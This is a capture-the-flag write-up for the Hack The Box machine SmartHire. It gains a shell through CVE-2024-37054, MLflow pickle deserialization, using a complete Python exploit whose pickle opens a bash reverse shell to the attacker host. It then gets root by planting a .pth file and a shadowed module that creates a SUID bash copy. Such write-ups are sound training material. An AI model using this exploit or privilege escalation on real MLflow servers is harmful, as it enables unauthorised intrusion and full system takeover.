SmartHire WriteUp
Table of Contents
SmartHire is a π§ Medium difficulty machine on Hack The Box, part of Season 11. It simulates an AI-powered hiring platform that uses MLflow to manage candidate scoring models.
The initial access exploits CVE-2024-37054, insecure pickle deserialization in mlflow.pyfunc.load_model(): we register on the app, upload training data to force model creation in MLflow, replace its latest artifact with a malicious pickle, promote it to Production, and trigger the /predict endpoint. The privilege escalation abuses the fact that the plugins/dev/ directory of a sudo-executed script is writable by our group, dropping a malicious .pth file is enough for Python to execute it as root.
πΊοΈ Attack Chain
Nmap β Port 22 (SSH) + 80 (Nginx / smarthire.htb)
β
βΌ
ffuf β models.smarthire.htb (MLflow 2.14.1) β default creds admin:password
β
βΌ
Register on smarthire.htb + upload CSV β MLflow creates {company}-{hash}-model
β
βΌ
CVE-2024-37054 β malicious pickle + MLmodel YAML β new model version β Production
POST /predict β mlflow.pyfunc.load_model() deserializes β RCE as svcweb
penelope -p 8443 β direct shell β user.txt π©
β
βΌ
sudo -l β /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
plugins/dev/ writable by devs group β .pth file + module shadowing
sudo mlflowctl.py status β root β root.txt π΄
π Reconnaissance
/etc/hosts Setup
echo '10.129.15.131 smarthire.htb models.smarthire.htb' | sudo tee -a /etc/hosts
Port Scan
Phase 1, Fast discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv smarthire.htb
Phase 2, Versions and scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt && sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv smarthire.htb
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 8.9p1 (Ubuntu 22.04) |
80 | HTTP | Nginx 1.18.0 |
Subdomain Discovery
ffuf -w /usr/share/wordlists/own/hackpuntes_subdomains_23565.txt -u http://smarthire.htb -H 'Host: FUZZ.smarthire.htb' -ac -c
models [Status: 401, Size: 137, Words: 11, Duration: 50ms]
π―
models.smarthire.htbβ MLflow 2.14.1 instance protected with default credentialsadmin:password. The version is visible in the top-left corner of the UI.
π Initial Access, CVE-2024-37054 (MLflow Pickle RCE)
What is CVE-2024-37054?
π§ Concept: CVE-2024-37054 is an insecure pickle deserialization vulnerability in
mlflow.pyfunc.load_model()present in MLflow < 2.14.3. When the app loads a model with thepython_functionflavor andloader_module: mlflow.sklearn, it uses joblib/pickle to deserialize themodel.pklartifact file, with no validation whatsoever. A pickle object with a malicious__reduce__method executes arbitrary code server-side. CVSS 9.8.
Step 1, Register on the Platform
Browse to http://smarthire.htb/register and create an account. The company name is key: it determines the MLflow model name that will be generated afterward.
curl -s -X POST http://smarthire.htb/register -d 'username=hacker&company=hackpuntes&password=Password123' -H 'Content-Type: application/x-www-form-urlencoded' -c cookies.txt
Step 2, Trigger Model Creation via CSV Upload
The platform requires training data to register the model in MLflow. Upload a minimal CSV to the /upload_hiring_data endpoint:
curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'
Contents of hiring.csv:
years_experience,education_level,hired
1,1,0
5,2,1
3,1,0
After the upload, MLflow automatically registers a model named {company}-{hash}-model. Retrieve the exact name:
curl -s http://smarthire.htb/model_info -b cookies.txt
{"model_info":null,"model_name":"hackpuntes-05971feb3b81-model","status":"success"}
Generate and upload the CSV in one shot to trigger training:
printf 'years_experience,education_level,hired\n1,1,0\n5,2,1\n3,1,0\n' > hiring.csv && curl -s -X POST http://smarthire.htb/upload_hiring_data -b cookies.txt -F 'file=@hiring.csv'
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781001809921,"description":"No description","version":"1"},"registered_model":"hackpuntes-05971feb3b81-model","status":"success"}
π‘ Note the
model_name, the exploit needs it to register the malicious version under the right model.
Step 3, Exploit CVE-2024-37054
Save the script below as exploit.py and run it. It does three things: creates a run in MLflow, uploads the malicious pickle + MLmodel manifest to the artifact store, and registers a new model version pointing to those artifacts.
#!/usr/bin/env python3
import pickle, os, requests
MLFLOW = 'http://models.smarthire.htb'
AUTH = ('admin', 'password')
MODEL = 'hackpuntes-05971feb3b81-model' # adjust to the model_name obtained above
LHOST = '10.10.14.49'
LPORT = 8443
class Shell:
def __reduce__(self):
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1' &"
return (os.system, (cmd,))
pkl = pickle.dumps(Shell())
mlmodel = (
'artifact_path: model\n'
'flavors:\n'
' python_function:\n'
' loader_module: mlflow.sklearn\n'
' model_path: model.pkl\n'
' python_version: 3.10.12\n'
'mlflow_version: 2.14.1\n'
)
r = requests.post(f'{MLFLOW}/api/2.0/mlflow/runs/create', auth=AUTH, json={'experiment_id': '0'})
run_id = r.json()['run']['info']['run_id']
print(f'[+] Run ID: {run_id}')
base = f'{MLFLOW}/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model'
for name, data in [('MLmodel', mlmodel.encode()), ('model.pkl', pkl)]:
r = requests.put(f'{base}/{name}', auth=AUTH, data=data)
print(f'[+] Upload {name}: {r.status_code}')
r = requests.post(f'{MLFLOW}/api/2.0/mlflow/model-versions/create', auth=AUTH, json={
'name': MODEL,
'source': f'mlflow-artifacts:/0/{run_id}/artifacts/model',
'run_id': run_id
})
print(f'[+] Model version: {r.json()["model_version"]["version"]}')
print('[*] Done β trigger /predict to execute the payload')
python3 exploit.py
[+] Run ID: 51dd64dcdbaa44479320c16c8efdc608
[+] Upload MLmodel: 200
[+] Upload model.pkl: 200
[+] Model version: 2
[*] Done β trigger /predict to execute the payload
Step 4, Promote to Production and Trigger the Payload
The app loads the model in Production stage. Our version 2 lands in None by default, promote it before firing:
curl -s -X POST 'http://models.smarthire.htb/api/2.0/mlflow/model-versions/transition-stage' -u 'admin:password' -H 'Content-Type: application/json' -d '{"name":"hackpuntes-05971feb3b81-model","version":"2","stage":"Production","archive_existing_versions":true}'
Start the listener on another terminal:
penelope -p 8443
The /predict endpoint expects a CSV file with experience and skills columns. Create the file and fire, this internally calls mlflow.pyfunc.load_model() on our malicious version:
printf 'experience,skills\n3,python\n' > resume.csv && curl -s -X POST http://smarthire.htb/predict -b cookies.txt -F 'file=@resume.csv'
[+] Got reverse shell from smarthire~10.129.15.131-Linux-x86_64 π Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! πͺ
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
svcweb@smarthire:/var/www/smarthire.htb$
π© User Flag
cat /home/svcweb/user.txt
<user_flag>
π§ Privilege Escalation β root
Sudo Enumeration
sudo -l
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
Script Analysis
cat /opt/tools/mlflow_ctl/mlflowctl.py && ls -la /opt/tools/mlflow_ctl/plugins/
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
"""
from pathlib import Path
import sys, site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def main():
import mlflow_actions, backup_models
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
if __name__ == "__main__": main()
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
π―
site.addsitedir()adds the directory to Python’s path and processes all.pthfiles found inside it. Thedev/directory is writable by thedevsgroup, andsvcwebbelongs todevs. By manipulatingsys.pathorder we can make Python import ourmlflow_actions.py(fromdev/) instead of the legitimate one (fromcore/).
Exploitation, Python .pth File + Module Shadowing
π§ Concept:
.pthfiles in directories added viasite.addsitedir()are automatically processed at interpreter startup: lines containingimport ...are executed directly. This lets us insertdev/at the beginning ofsys.pathbeforecore/is added, causing Python to import our malicious module instead of the legitimate one.
1. Create the .pth file that prepends dev/ to sys.path:
echo 'import sys; sys.path.insert(0, "/opt/tools/mlflow_ctl/plugins/dev")' > /opt/tools/mlflow_ctl/plugins/dev/evil.pth
2. Create the malicious mlflow_actions.py that shadows the legitimate one in core/:
printf 'import os\ndef check_status(): os.system("cp /bin/bash /tmp/b && chmod +s /tmp/b")\ndef restart(): check_status()\n' > /opt/tools/mlflow_ctl/plugins/dev/mlflow_actions.py
3. Trigger root execution and verify the SUID bit:
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status && ls -la /tmp/b
-rwsr-sr-x 1 root root 1396520 Jun 9 10:51 /tmp/b
/tmp/b -p
b-5.1# id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
π΄ Root Flag
cat /root/root.txt
<root_flag>
π Attack Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Port and subdomain reconnaissance | nmap, ffuf | MLflow 2.14.1 on models.smarthire.htb |
| 2 | Register + upload CSV β MLflow model creation | curl | Target model name |
| 3 | CVE-2024-37054, pickle RCE via MLflow + /predict | python3, penelope | Shell as svcweb + user.txt π© |
| 4 | Python .pth hijack, module shadowing in plugins/dev/ | printf, sudo | Shell as root + root.txt π΄ |
See you in the next challenge.
